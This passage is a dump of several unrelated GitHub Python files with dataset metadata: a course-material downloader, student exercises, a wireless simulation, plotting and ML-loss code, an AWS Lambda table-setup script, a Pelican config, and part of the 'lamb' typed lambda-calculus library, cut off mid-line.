'http://ninova.itu.edu.tr'\n\n'''Create a session for cookie management'''\ns = requests.Session()\n\n'''Login to ITU account'''\nlogin(s)\n\n'''Get the main page and class links from ninova'''\nkampusSoup = getPage(s, url+'/Kampus1')\nclassLinks = getLinks(kampusSoup, 'ErisimAgaci')\n\n'''Capture parsed classes'''\nfor link in classLinks:\n captureClass(s, link)\n","repo_name":"bayvalli/ninova-downloader","sub_path":"ninova_downloader.py","file_name":"ninova_downloader.py","file_ext":"py","file_size_in_byte":4105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72218117572","text":"def main():\n\n return order()\n\n\ndef order():\n menu = {\n \"Baja Taco\": 4.00,\n \"Burrito\": 7.50,\n \"Bowl\": 8.50,\n \"Nachos\": 11.00,\n \"Quesadilla\": 8.50,\n \"Super Burrito\": 8.50,\n \"Super Quesadilla\": 9.50,\n \"Taco\": 3.00,\n \"Tortilla Salad\": 8.00\n }\n while True: \n try:\n order_list = []\n while True:\n item = input('Item: ')\n order_list.append(item.lower().title())\n except EOFError:\n total = 0\n for i in order_list:\n try:\n total += menu[i]\n except KeyError:\n pass\n return print('\\nTotal: $' + str(format(total, '.2f')))\n\n\nmain()","repo_name":"gavmross/cs50p","sub_path":"problem_sets/ps3/taqueria/taqueria.py","file_name":"taqueria.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74004419331","text":"import pandas as pd\nfrom openpyxl import workbook,load_workbook\nimport channel_initialization as ch\nimport numpy as np\n####################### simulation parameters ########################\nbw = 1*10**9 # Bandwidth = 1GHz\np_t_dB = 23 # maximum d2d transmit power in dB\np_t = 10**(p_t_dB/10) \nC_frequency = 28e9 # carrier frequency = 28 GHz\nnum_d2d =4\nNoise = -174 # noise = -174 dBm\ns= 10**(-174/10)\n\n######################### Assigning equal power of \nd2d_power =np.ones(num_d2d)*(23/4)\nsinr = np.zeros(num_d2d)\ncap = np.zeros(num_d2d)\n############################### For creating excel sheets of value ####################################\nwb1=load_workbook('receiver1.xlsx') \nws1 = wb1.active\nwb2=load_workbook('receiver2.xlsx')\nws2 = wb2.active\nwb3=load_workbook('receiver3.xlsx')\nws3 = wb3.active\nwb4=load_workbook('receiver4.xlsx')\nws4 = wb4.active\n\n\nfor z in range(51) :\n h=ch.ch_gen(20,num_d2d,C_frequency)\n for i in range(num_d2d) :\n\n x = h[i,i]*d2d_power[i]/s\n sinr[i] = 10*log10(x)\n cap[i] = bw*log2(1+x)\n if i==0 :\n ws1.append([cap[i]])\n elif i==1:\n ws2.append([cap[i]])\n elif i==2:\n ws3.append([cap[i]])\n elif i==3:\n ws4.append([cap[i]])\n\nwb1.save('receiver1.xlsx')\nwb2.save('receiver2.xlsx')\nwb3.save('receiver3.xlsx')\nwb4.save('receiver4.xlsx')","repo_name":"palkrishna/palkrishna","sub_path":"equal_power_allocation.py","file_name":"equal_power_allocation.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"23567728653","text":"# Скрипт для отрисовки биоданных по сенсорам\n\nimport scipy.io\nimport matplotlib.pyplot as plt\n\n\nmat = scipy.io.loadmat('/home/polina/диплом/эпилепсия_данные_био/2011 may 03 P32 BCX rust/2011_05_03_0023.mat', squeeze_me=True)\n\nprint(mat.keys())\ndata = mat['lfp']\nprint(data.shape)\n\nvalues = [i+1 for i in range(2000)] # миллисекунды, по оси x\nprint(values)\n\nlfp = [] # lfp, j - сенсоры, i - данные\nfor j in range(15): # 16\n result = []\n for i in range(2000):\n result.append(data[i,j,40]) # № записи\n lfp.append(result)\n\ncount = 1\nfor elem in lfp:\n print(count, elem)\n print(min(elem), max(elem))\n count += 1\n\nprint(len(lfp))\n\n\nfig = plt.figure(1) # первое окно с графиками\nfor i in range(15): # 16\n plt.subplot(15,1,i+1) # 16\n plt.plot(values, lfp[i], linewidth=1.0)\n if i == 0:\n plt.title('Эксперимент 23. Запись 40')\n if i == 7:\n plt.ylabel('Потенциал локального поля, мВ')\n if i == 14: # 15\n plt.xlabel('Время, мс')\nplt.show()\n\n\n","repo_name":"Polina17/Epilepsy_Validation","sub_path":"bio_data.py","file_name":"bio_data.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3291549514","text":"import torch.nn as nn\nimport torch\n\n\nclass NT_Xent(nn.Module):\n \"\"\"\n normalized temperature-scaled cross entropy loss\n \"\"\"\n\n def __init__(self, batch_size, temperature):\n self.batch_size = batch_size\n self.temperature = temperature\n\n def forward(self, z_i, z_j):\n \"\"\"\n implementation adapted from https://github.com/leftthomas/SimCLR\n :param z_i: image latent 1\n :param z_j: image latent 2\n :return:\n \"\"\"\n # [2*B, D]\n out = torch.cat([z_i, z_j], dim=0)\n # sim(z_i, z_j)/t\n sim_matrix = torch.exp(torch.mm(out, out.t().contiguous()) / self.temperature)\n # matrix for 1 E {0,1} function, e.g.\n # 0 1 1\n # 1 0 1\n # 1 1 0\n mask = (\n torch.ones_like(sim_matrix)\n - torch.eye(2 * self.batch_size, device=sim_matrix.device)\n ).bool()\n # [2*B, 2*B-1]\n sim_matrix = sim_matrix.masked_select(mask).view(2 * self.batch_size, -1)\n\n # compute loss\n pos_sim = torch.exp(torch.sum(z_i * z_j, dim=-1) / self.temperature)\n # [2*B]\n pos_sim = torch.cat([pos_sim, pos_sim], dim=0)\n\n # loss\n return (-torch.log(pos_sim / sim_matrix.sum(dim=-1))).mean()\n","repo_name":"NoahBarrett98/UltraVision","sub_path":"UltraVision/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"847291776","text":"class Node:\n def __init__(self,value):\n self.value=value\n self.left=None\n self.right=None\n\n def leaf_nodes(self):\n def is_leaf(node):\n if not node:\n return False\n if node.left==None and node.right==None:\n return True\n return False\n\n stack=[]\n temp=None\n stack.append(self)\n while stack:\n temp=stack.pop()\n while temp and (not is_leaf(temp)):\n if temp.left:\n stack.append(temp.left)\n if temp.right:\n stack.append(temp.right)\n temp=stack.pop()\n if temp:\n if is_leaf(temp):\n print(temp.value)\n\n def inorder(self):\n if self:\n if self.left:\n self.left.inorder()\n print(self.value)\n if self.right:\n self.right.inorder()\n\n def insert(self,value):\n if self.value>value:\n if self.left:\n self.left.insert(value)\n else:\n self.left=Node(value)\n elif self.value (.*):$\", stream))\n\n\ndef common_package(packageA, packageB):\n prefix = common_iter_prefix(packageA.split(\".\"), packageB.split(\".\"))\n return \".\".join(prefix)\n\n\ndef common_iter_prefix(iterA, iterB):\n iterA = iterA.__iter__()\n iterB = iterB.__iter__()\n result = []\n try:\n while True:\n a = iterA.__next__()\n b = iterB.__next__()\n if a != b:\n return result\n result.append(a)\n except StopIteration:\n return result\n\n\ncleartextPackages = set()\nfor fromClass, toClass in class_mappings(sys.stdin):\n common = common_package(fromClass, toClass)\n if len(common) > 0:\n cleartextPackages.add(common)\n\ncleartextPackages = list(cleartextPackages)\ncleartextPackages.sort()\nfor pkg in cleartextPackages:\n print(pkg)\n","repo_name":"stevelilly/r8issue","sub_path":"r8scan.py","file_name":"r8scan.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"44628803807","text":"import numpy as np\nimport unittest\nfrom sources.wrappers import Normalizer\nimport os\n\n\nclass NormalizerTests(unittest.TestCase):\n def test_fit(self):\n normalizer = Normalizer()\n\n dummy = [[1, 4], [1, 3], [1, 5]]\n X = np.array([dummy])\n normalizer.fit(X)\n\n self.assertEqual(normalizer.mu.tolist(), [1, 4])\n self.assertAlmostEqual(normalizer.sd.tolist(), [0, 0.816496580927726])\n\n def test_normalize(self):\n normalizer = Normalizer()\n\n normalizer.set_mean([1, 2])\n normalizer.set_deviation([4, 1])\n\n dummy = [[1, 2], [2, 10]]\n X = np.array([dummy])\n res = normalizer.preprocess(X)\n\n self.assertEqual(res[0][0], [0, 2])\n self.assertEqual(res[0][1], [0.25, 10])\n\n def test_serrialization(self):\n normalizer = Normalizer()\n normalizer.set_mean([1, 2])\n normalizer.set_deviation([4, 1])\n\n path = './test_mu.json'\n normalizer.to_json(path)\n\n normalizer = Normalizer.from_json(path)\n\n self.assertIsInstance(normalizer.mu, np.ndarray)\n self.assertIsInstance(normalizer.sd, np.ndarray)\n\n self.assertEqual(normalizer.mu.tolist(), [1, 2])\n self.assertEqual(normalizer.sd.tolist(), [4, 1])\n\n if os.path.isfile(path):\n os.remove(path)\n","repo_name":"X-rayLaser/keras-auto-hwr","sub_path":"tests/test_normalization.py","file_name":"test_normalization.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3516008494","text":"import psycopg2\nimport json\nimport boto3\n\n# Initialize the database connection outside the lambda_handler function\nssm = boto3.client('ssm')\ndb_name = ssm.get_parameter(Name='/repair/DBParameter', WithDecryption=False)['Parameter']['Value']\ndb_user = ssm.get_parameter(Name='/repair/UserParameter', WithDecryption=False)['Parameter']['Value']\ndb_password = ssm.get_parameter(Name='/repair/PasswordParameter', WithDecryption=False)['Parameter']['Value']\ndb_host = ssm.get_parameter(Name='/repair/HostParameter', WithDecryption=False)['Parameter']['Value']\ndb_port = ssm.get_parameter(Name='/repair/PortParameter', WithDecryption=False)['Parameter']['Value']\n\nconn = psycopg2.connect(\n dbname=db_name,\n user=db_user,\n password=db_password,\n host=db_host,\n port=db_port\n)\n\ndef fetch_sql_statements_from_s3():\n try:\n s3 = boto3.client('s3')\n response = s3.get_object(Bucket='repair-lneil', Key='ddl.sql')\n sql_statements = response['Body'].read().decode('utf-8')\n return sql_statements\n except Exception as e:\n raise e\n\ndef lambda_handler(event, context):\n user_attributes = event['request']['userAttributes']\n \n if 'custom:tenant_tag' not in user_attributes:\n return {\n 'statusCode': 400,\n 'body': json.dumps('Tenant tag not found in user attributes')\n }\n \n tenant = user_attributes['custom:tenant_tag']\n \n try:\n sql_statements = fetch_sql_statements_from_s3()\n sql_statements = sql_statements.replace('TENANT', tenant)\n except Exception as e:\n return {\n 'statusCode': 400,\n 'body': json.dumps('Error fetching or replacing SQL statements: ' + str(e))\n }\n \n try:\n print(\"connecting...\")\n cursor = conn.cursor()\n cursor.execute(sql_statements)\n conn.commit()\n cursor.close()\n\n return {\n 'statusCode': 200,\n 'body': json.dumps('Tables created successfully for tenant: ' + tenant)\n }\n\n except Exception as e:\n return {\n 'statusCode': 500,\n 'body': json.dumps('Error creating tables: ' + str(e))\n }\n finally:\n conn.close() # Close the database connection in the finally block","repo_name":"ThugPigeon653/repairshop","sub_path":"scripts/python/define-tables.py","file_name":"define-tables.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15445485987","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'Alexandros Kosiaris'\nSITENAME = u'JAB: Just Another Blog'\nSITEURL = 'http://blog.uname.gr'\n\nPATH = 'content'\n\nTIMEZONE = 'UTC'\nTHEME = 'themes/twitchy'\n\nDEFAULT_LANG = u'en'\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\n\n# Blogroll\nLINKS = (('Pelican', 'http://getpelican.com/'),)\n\n# Social widget\nSOCIAL = (\n ('github', 'http://github.com/akosiaris'),\n ('twitter', 'http://twitter.com/kosiaris'),\n )\n\nDEFAULT_PAGINATION = 10\n\nSTATIC_PATHS = [ 'images', 'extra/CNAME', 'extra/googlebf3ef559c8fe5d4e',\n]\nEXTRA_PATH_METADATA = {\n 'extra/CNAME': {'path': 'CNAME'},\n 'extra/googlebf3ef559c8fe5d4e': { 'path': 'googlebf3ef559c8fe5d4e.html'},\n}\nLOCALE='C'\n\n# Uncomment following line if you want document-relative URLs when developing\n# It get's overriden anyway by publishconf.py\nRELATIVE_URLS = True\n","repo_name":"akosiaris/akosiaris.github.io","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"40118435075","text":"import sys, re, logging, random, functools, inspect\nfrom numbers import Number\n\nimport lamb\nfrom lamb import types, parsing, display, utils\nfrom lamb.utils import ensuremath\nfrom lamb.types import TypeMismatch, type_e, type_t, type_n\nfrom lamb.types import type_property, type_transitive, BasicType, FunType\n\n############### Basic stuff\n\nglobal logger\ndef setup_logger():\n \"\"\"Set up a module-level logger called `logger` for use across `lamb`\n modules.\"\"\"\n global logger\n logger = logging.getLogger(\"lamb\")\n logger.handlers = list() # otherwise, will get double output on reload\n # (since this just keeps adding handlers)\n logger.setLevel(logging.INFO)\n logger.propagate = False\n # note that basicConfig does _not_ work for interactive ipython sessions,\n # including notebook.\n infoch = logging.StreamHandler(sys.stdout)\n infoch.setFormatter(logging.Formatter(\n '%(levelname)s (%(module)s): %(message)s'))\n def info_filter(record):\n if record.levelno == logging.INFO:\n return 1\n else:\n return 0\n infoch.addFilter(info_filter)\n infoch.setLevel(logging.INFO)\n\n errch = logging.StreamHandler(sys.stderr)\n #ch.setLevel(logging.INFO)\n errch.setLevel(logging.WARNING)\n errch.setFormatter(logging.Formatter(\n '%(levelname)s (%(module)s): %(message)s'))\n logger.addHandler(errch)\n logger.addHandler(infoch)\n\nsetup_logger()\n\n\nglobal _constants_use_custom, _type_system\n_constants_use_custom = False\n\ndef constants_use_custom(v):\n \"\"\"Set whether constants use custom display routines.\"\"\"\n global _constants_use_custom\n _constants_use_custom = v\n\n_type_system = types.poly_system\n\n# TODO: could consider associating TypedExpr with a type system rather than\n# using the global variable. advantages: generality. Disadvantages: may be a\n# little pointless in practice?\ndef set_type_system(ts):\n \"\"\"Sets the current type system for the metalanguage. This is a global\n setting.\"\"\"\n global _type_system\n _type_system = ts\n\ndef get_type_system():\n \"\"\"Gets the current (global) type system for the metalanguage.\"\"\"\n return _type_system\n\ndef ts_unify(a, b):\n \"\"\"Calls the current type system's `unify` function on types `a` and `b`.\n This returns a unified type, or `None` if the two can't be unified.\"\"\"\n ts = get_type_system()\n return ts.unify(a, b)\n\nglobal unify\nunify = ts_unify # remove this?\n\ndef ts_compatible(a, b):\n \"\"\"Returns `True` or `False` depending on whether `a` and `b` are\n compatible types.\"\"\"\n ts = get_type_system()\n return ts.unify(a,b) is not None\n\ndef tp(s):\n \"\"\"Convenience wrapper for the current type system's type parser.\"\"\"\n ts = get_type_system()\n result = ts.type_parser(s)\n return result\n\ndef let_wrapper(s):\n result = derived(s.compact_type_vars(), s, \"Let substitution\")\n result.let = True\n return result\n\ndef te(s, let=True, assignment=None):\n \"\"\"Convenience wrapper for `lang.TypedExpr.factory`.\"\"\"\n result = TypedExpr.factory(s, assignment=assignment)\n if let and isinstance(result, TypedExpr):\n result = let_wrapper(result)\n return result\n\ndef term(s, typ=None, assignment=None):\n \"\"\"Convenience wrapper for building terms.\n `s`: the term's name.\n `typ`: the term's type, if specified.\"\"\"\n return TypedTerm.term_factory(s, typ=typ, assignment=assignment)\n\ndef typed_expr(s):\n # class method replaces this. Call this instead of factory, which has a \n # slightly different semantics -- factory will make a copy if handed a\n # TypedExpr.\n return TypedExpr.ensure_typed_expr(s)\n\ndef check_type(item, typ, raise_tm=True, msg=None):\n ts = get_type_system()\n if not ts.eq_check(item.content.type, typ):\n if raise_tm:\n raise types.TypeMismatch(item, typ, msg)\n else:\n return None\n else:\n return item\n\n\ndef default_variable_type(s):\n #TODO something better\n return type_e\n\ndef default_type(s):\n if isinstance(s, TypedExpr):\n return s.type\n elif isinstance(s, Number):\n return type_n\n elif isinstance(s, str):\n t = utils.num_or_str(s)\n if isinstance(t, Number):\n return type_n\n elif is_var_symbol(t):\n return default_variable_type(s)\n else:\n #TODO, better default\n return type_t\n else:\n # TODO: more default special cases? predicates?\n raise NotImplementedError\n\nclass MiniOp(object):\n \"\"\"This is a class to pass to a TypeMismatch so that the operator is\n displayed nicely.\"\"\"\n def __init__(self, op_uni, op_latex, typ=None):\n if typ != None:\n self.type = typ\n self.op_uni = op_uni\n self.op_latex = op_latex\n\n def __repr__(self):\n return self.op_uni\n\n def __str__(self):\n return repr(self)\n\n def latex_str(self):\n return self.op_latex\n\n def short_str_latex(self):\n return self.latex_str()\n\n def latex_str_long(self):\n return latex_str(self)\n\n def _repr_latex_(self):\n return self.latex_str()\n\n @classmethod\n def from_op(cls, op):\n return MiniOp(op.op_name, op.op_name_latex)\n\n\n\nclass OperatorRegistry(object):\n class OpDesc(object):\n def __init__(self, _cls, *targs):\n self.name = _cls.canonical_name\n self.cls = _cls\n self.arity = len(targs)\n self.targs = targs\n\n def __hash__(self):\n # will prevent multiple overloads at the same arity using the\n # same class...\n return hash(self.name) ^ hash(self.cls.__name__) ^ hash(self.arity)\n\n def __eq__(self, other):\n return (self.name == other.name\n and self.cls.__name__ == other.cls.__name__\n and self.arity == other.arity\n and self.targs == other.targs)\n\n def get_names(self):\n # maybe include unicode?\n return [self.name] + list(self.cls.secondary_names)\n\n def has_blank_types(self):\n for t in self.targs:\n if t is None:\n return True\n return False\n\n def check_viable(self, *args):\n if self.arity != len(args):\n return False\n # None means don't check this arg place.\n # If the relevant types are not in the current type system, this\n # will fail.\n for i in range(len(args)):\n if (self.targs[i] is not None\n and not ts_compatible(self.targs[i], args[i].type)):\n return False\n return True\n\n def __init__(self):\n self.clear()\n\n def clear(self):\n self.ops = dict()\n self.arities = dict()\n self.binding_ops = dict()\n self.canonicalize_binding_ops = dict()\n self.unparsed_binding_ops = set()\n\n def add_operator(self, _cls, *targs):\n desc = self.OpDesc(_cls, *targs)\n for name in desc.get_names():\n # use dicts and not sets for the ordering\n if not name in self.ops:\n self.ops[name] = dict()\n self.ops[name][desc] = True\n if not desc.arity in self.arities:\n self.arities[desc.arity] = dict()\n self.arities[desc.arity][desc] = True\n\n def get_descs(self, op):\n return list(self.ops[op].keys())\n\n def expr_factory(self, op, *args):\n \"\"\"Given some operator/relation symbol with arguments, construct an\n appropriate TypedExpr subclass for that operator.\"\"\"\n\n if not op in self.ops:\n raise parsing.ParseError(\"Unknown operator symbol '%s'\" % op)\n\n matches = [o for o in self.ops[op].keys() if o.arity == len(args)]\n if not len(matches):\n raise parsing.ParseError(\"No %d-ary operator symbol '%s'\" % (len(args), op))\n\n matches = [o for o in matches if o.check_viable(*args)]\n\n # hacky: let any operators with specified types knock out any operators\n # with None types. This could be made a lot more elegant, but the\n # immediate goal here is to handle the equality case for type t cleanly\n if len(matches) > 1:\n matches = [o for o in matches if not o.has_blank_types()]\n\n if not len(matches):\n raise parsing.ParseError(\n \"No viable %d-ary operator symbol '%s' for args %s\"\n % (len(args), op, repr(args)))\n\n # this shouldn't come up for the built-in libraries, but should this\n # be made more informative for user cases?\n if len(matches) > 1:\n raise parsing.ParseError(\n \"Ambiguous %d-ary operator symbol '%s' for args %s\"\n % (len(args), op, repr(args)))\n\n return matches[0].cls(*args)\n\n def add_binding_op(self, op):\n \"\"\"Register an operator to be parsed.\"\"\"\n if op.canonical_name is None:\n self.unparsed_binding_ops.add(op)\n else:\n # no binding operator overloading\n if op.canonical_name in self.binding_ops:\n logger.warning(\n \"Overriding existing binding operator '%s' in registry\"\n % op.canonical_name)\n self.remove_binding_op(op)\n self.binding_ops[op.canonical_name] = op\n for alias in op.secondary_names:\n self.canonicalize_binding_ops[alias] = op.canonical_name\n BindingOp.compile_ops_re()\n\n def remove_binding_op(self, op):\n \"\"\"Remove an operator from the parsing registry.\"\"\"\n for alias in self.binding_ops[op.canonical_name].secondary_names:\n del self.canonicalize_binding_ops[alias]\n if op.canonical_name is None:\n self.unparsed_binding_ops.remove(op)\n else:\n del self.binding_ops[op.canonical_name]\n BindingOp.compile_ops_re()\n\n\nglobal registry\nregistry = OperatorRegistry()\n\ndef op_expr_factory(op, *args):\n global registry\n return registry.expr_factory(op, *args)\n\n\n############### Type unification-related code\n\nclass TypeEnv(object):\n def __init__(self, var_mapping=None, type_mapping=None):\n self.type_var_set = set()\n if type_mapping is None:\n self.type_mapping = dict()\n else:\n self.type_mapping = type_mapping\n if var_mapping is None:\n self.var_mapping = dict()\n else:\n self.var_mapping = var_mapping\n self.update_var_set()\n\n def _repr_html_(self):\n s = \"\"\n s += (\"\" %\n utils.dict_latex_repr(self.var_mapping))\n s += (\"\" %\n utils.dict_latex_repr(self.type_mapping))\n s += (\"\" %\n utils.set_latex_repr(self.type_var_set))\n s += \"
Term mappings:   %s
Type mappings:   %s
Type variables:   %s
\"\n return s\n\n def update_var_set(self):\n s = types.vars_in_env(self.var_mapping)\n s = s | set(self.type_mapping.keys())\n for m in self.type_mapping:\n s = s | self.type_mapping[m].bound_type_vars()\n self.type_var_set = s\n\n def term_by_name(self, vname):\n if vname in self.var_mapping:\n return TypedTerm(vname, self.var_mapping[vname],\n defer_type_env=True)\n else:\n return None\n\n def add_var_mapping(self, vname, typ):\n result = self.try_add_var_mapping(vname, typ)\n if result is None:\n raise TypeMismatch(self.term_by_name(vname), typ,\n \"Failed to unify types across distinct instances of term\")\n return result\n\n def try_add_var_mapping(self, vname, typ):\n ts = get_type_system()\n if vname in self.var_mapping:\n principal = self.try_unify(self.var_mapping[vname], typ,\n update_mapping=True)\n if principal is None:\n return None\n \n assert principal is not None\n self.var_mapping[vname] = principal\n self.update_type_vars()\n else:\n assert typ is not None\n self.var_mapping[vname] = typ\n principal = typ\n self.add_type_to_var_set(principal)\n return principal\n\n def try_unify(self, t1, t2, update_mapping=False):\n ts = get_type_system()\n result = ts.unify_details(t1, t2, assignment=self.type_mapping)\n if result is None:\n return None\n else:\n if update_mapping:\n self.type_mapping = result.mapping\n self.update_var_set()\n return result.principal\n\n def add_type_to_var_set(self, typ):\n self.type_var_set = self.type_var_set | typ.bound_type_vars()\n\n def update_type_vars(self):\n for k in self.var_mapping:\n # note that the following is not generally safe, but here we are\n # working with TypedTerms that have no TypeEnv\n new_type = self.var_mapping[k].sub_type_vars(self.type_mapping)\n self.var_mapping[k] = new_type\n\n def try_add_type_mapping(self, type_var, typ, defer=False):\n if isinstance(typ, types.VariableType):\n if typ in self.type_var_set or type_var in self.type_var_set:\n principal = self.try_unify(type_var, typ, update_mapping=True)\n else:\n principal = type_var\n self.type_mapping[type_var] = typ\n self.type_var_set = self.type_var_set | {type_var, typ} \n else:\n principal = self.try_unify(type_var, typ, update_mapping=True)\n if not defer:\n self.update_type_vars()\n return principal\n\n def add_type_mapping(self, type_var, typ, defer=False):\n principal = self.try_add_type_mapping(type_var, typ, defer=defer)\n if principal is None:\n raise TypeMismatch(self.type_mapping[type_var], typ,\n \"Failed to unify type variable %s across contexts\" % type_var)\n return principal\n \n\n def merge(self, tenv):\n for v in tenv.type_mapping:\n self.add_type_mapping(v, tenv.type_mapping[v], defer=True)\n self.update_type_vars()\n for v in tenv.var_mapping:\n self.add_var_mapping(v, tenv.var_mapping[v])\n self.type_var_set |= tenv.type_var_set\n return self\n\n def intersect_merge(self, tenv):\n for v in tenv.type_mapping:\n if (v in self.type_var_set\n or len(tenv.type_mapping[v].bound_type_vars()\n & self.type_var_set) > 0):\n self.add_type_mapping(v, tenv.type_mapping[v], defer=True)\n self.update_type_vars()\n for v in tenv.var_mapping:\n self.add_var_mapping(v, tenv.var_mapping[v])\n return self\n\n def copy(self):\n env = TypeEnv(self.var_mapping.copy(), self.type_mapping.copy())\n env.type_var_set = self.type_var_set.copy()\n return env\n\n def __repr__(self):\n return (\"[TypeEnv: Variables: \"\n + repr(self.var_mapping)\n + \", Type mapping: \"\n + repr(self.type_mapping)\n + \", Type variables: \"\n + repr(self.type_var_set)\n + \"]\")\n\ndef merge_type_envs(env1, env2, target=None):\n \"\"\"Merge two type environments. A type environment is simply an assignment,\n where the mappings to terms are used to define types. Other mappings are\n ignored.\n\n If `target` is set, it specifies a set of variable names to specifically\n target; anything not in it is ignored.\n\n If `target` is None, all mappings are merged.\"\"\"\n ts = get_type_system()\n result = dict()\n for k1 in env1:\n if target and not k1 in target:\n continue\n if (not env1[k1].term()):\n continue\n if k1 in env2:\n unify = ts.unify(env1[k1].type, env2[k1].type)\n if unify is None:\n raise TypeMismatch(env1[k1], env2[k1],\n \"Failed to unify types across distinct instances of term\")\n result[k1] = env1[k1].try_adjust_type(unify)\n else:\n result[k1] = env1[k1]\n for k2 in env2:\n if target and not k2 in target:\n continue\n if not env2[k2].term():\n continue\n if k2 not in env1:\n result[k2] = env2[k2]\n return result\n\ndef merge_tes(te1, te2, symmetric=True):\n \"\"\"Produce a TypedExpr that is the result of 'merging' `te1` and `te2`.\n\n TypedExprs can be merged only if their types can match. This has two types\n of behaviors:\n\n * Symmetric: if `te1` is a term and `te2` is not a term, return te2 coerced\n to the principal type; v.v for `te2` and `te1. Otherwise, if they are\n equal (using `==`, which checks structural/string identity) return the\n result at the principle type.\n * Non-symmetric: if `te1` is a term, return `te2` at the principal type. \n Otherwise, return something (at the principal type) only if `te1` and\n `te2` are equal.\n The failure cases for both modes will raise a TypeMismatch.\n \"\"\"\n ts = get_type_system()\n principal = ts.unify(te1.type, te2.type)\n # TODO: these error messages are somewhat cryptic\n if principal is None:\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions (incompatible types)\")\n te1_new = te1.try_adjust_type(principal)\n te2_new = te2.try_adjust_type(principal)\n if te1_new is None or te2_new is None:\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions (type adjustment failed)\")\n if te1_new.term():\n if symmetric and te2_new.term() and not (te1_new == te2_new):\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions; result is not equal\")\n return te2_new\n elif symmetric and te2_new.term():\n return te1_new\n else:\n if not (te1_new == te2_new):\n raise TypeMismatch(te1, te2,\n \"Failed to merge typed expressions; result is not equal\")\n return te1_new\n\n\n############### Core TypedExpr objects\n\nglobal _parser_assignment\n_parser_assignment = None\n\nclass TypedExpr(object):\n \"\"\"Basic class for a typed n-ary logical expression in a formal language.\n This class should generally be constructed using the factory method, not the\n constructor.\n\n Three key fields:\n * type: an object that implements the type interface.\n * op: an object representing the operator in the expression.\n * args: _n_ args representing the arguments (if any) to the operator.\n\n The op field:\n * may be a string representing the operator symbol. This case mostly\n covers special hard-coded logical/numeric operators. May be used in\n subclasses such as LFun. NOTE: for hard-coded operators this is now\n deprecated, call the factory function.\n * May be itself a TypedExpr. (For example, an LFun with the right type.)\n If so, there must be exactly one argument of the correct type.\n * May be a term name, treating this case as either a 0-ary operator or an\n unsaturated term. Note that right now, this _only_ occurs in\n subclasses. (TypedTerm)\n\n originally based on logic.Expr (from aima python), now long diverged.\n \"\"\"\n def __init__(self, op, *args, defer=False):\n \"\"\"\n Constructor for TypedExpr class. This should generally not be called\n directly, rather, the factory function should be used. In fact,\n TypedExpr is not currently ever directly instantiated.\n\n This is intended only for calls from subclass `__init__`. It (at this\n stage) amounts to a convenience function that sets some common\n variables -- a subclass that does not call this should ensure that\n these are all set. self.args must be a list (not a tuple).\n\n WARNING: this function does not set self.type, which _must_ be set.\n It does not perform any type-checking.\n\n `defer`: annotate with this if the TypedExpr does not conform to type\n constraints. (Useful for derivational histories or error reports.)\n \"\"\"\n self.type_guessed = False\n self.derivation = None\n self.defer = defer\n self.let = False\n\n if (len(args) == 0):\n args = list()\n\n self.op = op\n self.args = list(args)\n\n def _type_cache_get(self, t):\n try:\n cache = self._type_adjust_cache\n except AttributeError:\n self._type_adjust_cache = dict()\n return False\n if t in cache:\n return cache[t] #.deep_copy()\n else:\n return False\n\n def _type_cache_set(self, t, result):\n try:\n cache = self._type_adjust_cache\n except AttributeError:\n self._type_adjust_cache = dict()\n cache = self._type_adjust_cache\n cache[t] = result\n\n\n def try_adjust_type_caching(self, new_type, derivation_reason=None,\n assignment=None, let_step=None):\n cached = self._type_cache_get(new_type)\n if cached is not False:\n return cached\n if let_step is not None:\n result = let_step.try_adjust_type(new_type,\n derivation_reason=derivation_reason, assignment=assignment)\n # TODO: freshen variables again here?\n else:\n result = self.try_adjust_type(new_type,\n derivation_reason=derivation_reason, assignment=assignment)\n self._type_cache_set(new_type, result)\n return result\n\n def try_adjust_type(self, new_type, derivation_reason=None,\n assignment=None):\n \"\"\"Attempts to adjust the type of `self` to be compatible with\n `new_type`.\n\n If the types already match, it return self.\n If it succeeds, it returns a modified _copy_ of self. \n If unify suggests a strengthened type, but it can't get there, it\n returns self and prints a warning.\n If it fails completely, it returns None.\"\"\"\n ts = get_type_system()\n env = self.get_type_env().copy()\n \n unify_target = env.try_unify(self.type, new_type, update_mapping=True)\n if unify_target is None:\n return None\n\n if self.type == unify_target:\n self._type_cache_set(self.type, self) \n return self\n else:\n assert not isinstance(self.op, TypedExpr)\n if derivation_reason is None:\n derivation_reason = \"Type adjustment\"\n if self.term():\n new_term = self.copy()\n principal = env.try_add_var_mapping(new_term.op, new_type)\n if principal is None:\n return None\n new_term._type_env = env\n new_term.type = principal\n if assignment is not None and new_term.op in assignment:\n assignment[new_term.op] = new_term\n return derived(new_term, self, derivation_reason)\n else:\n # use the subclass' type adjustment function\n result = self.try_adjust_type_local(unify_target,\n derivation_reason, assignment, env)\n if result is not None:\n result = result.under_type_assignment(env.type_mapping)\n if result is not None:\n result._type_env = env\n if result is None:\n logger.warning(\n \"In type 